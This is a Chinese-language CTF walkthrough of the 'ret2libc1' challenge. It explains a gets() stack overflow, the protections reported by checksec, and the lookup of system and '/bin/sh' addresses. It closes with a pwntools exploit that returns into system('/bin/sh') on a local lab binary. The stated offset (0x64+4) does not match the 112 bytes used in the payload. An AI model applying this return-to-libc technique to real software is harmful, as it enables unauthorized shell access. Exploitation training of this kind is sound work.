ret2libc1
一、原理
ret2libc即控制函数执行libc中的函数,通常情况是返回至某个函数的plt处或者函数的实际地址(函数对应的got表项的内容)。一般情况下,会选择执行system(”/bin/sh“),所以需要知道system函数的地址
看C代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include <stdio.h> #include <stdlib.h> #include <time.h>
char *shell = "/bin/sh"; char buf2[100];
void secure(void) { int secretcode, input; srand(time(NULL));
secretcode = rand(); scanf("%d", &input); if(input == secretcode) system("shell!?"); }
int main(void) { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("RET2LIBC >_<\n"); gets(buf1);
return 0; }
|
二、程序分析
checksec检查一下程序的保护机制
1 2 3 4 5 6 7
| zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ checksec ret2libc1 [*] '/home/zhuyuan/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
程序开启了NX保护,所以栈不可执行,也就没办法执行我们自己的shellcode了,也不能利用跳转。所以需要使用系统自带的函数或者使用gadget(指令序列)进行溢出。ida中分析
1 2 3 4 5 6 7 8 9 10
| int __cdecl main(int argc, const char **argv, const char **envp) { char s[100];
setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(s); return 0; }
|
gets函数不限制长度,所以这是溢出点。s变量距离esp栈顶指针0x1c,距离ebp栈底指针0x64,所以s的距离ret返回地址为0x64+4
可以通过ROPgadget工具查看是否存在’/bin/sh’字符串
1 2 3 4
| zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string 'bin/sh' Strings information ============================================================ 0x08048721 : bin/sh
|
也可以直接查看system函数的地址
1 2 3 4
| zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string 'system' Strings information ============================================================ 0x08048303 : system
|
所以这样我们就得到了system和’/bin/sh’的地址,可以写exp了
三、EXP
下面是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import*
sh = process('./ret2libc1')
bin_sh_addr = p32(0x08048720)
system_addr = p32(0x08048460) payload = b'A'*112+system_addr+b'addf'+ bin_sh_addr sh.sendline(payload) sh.interactive()
|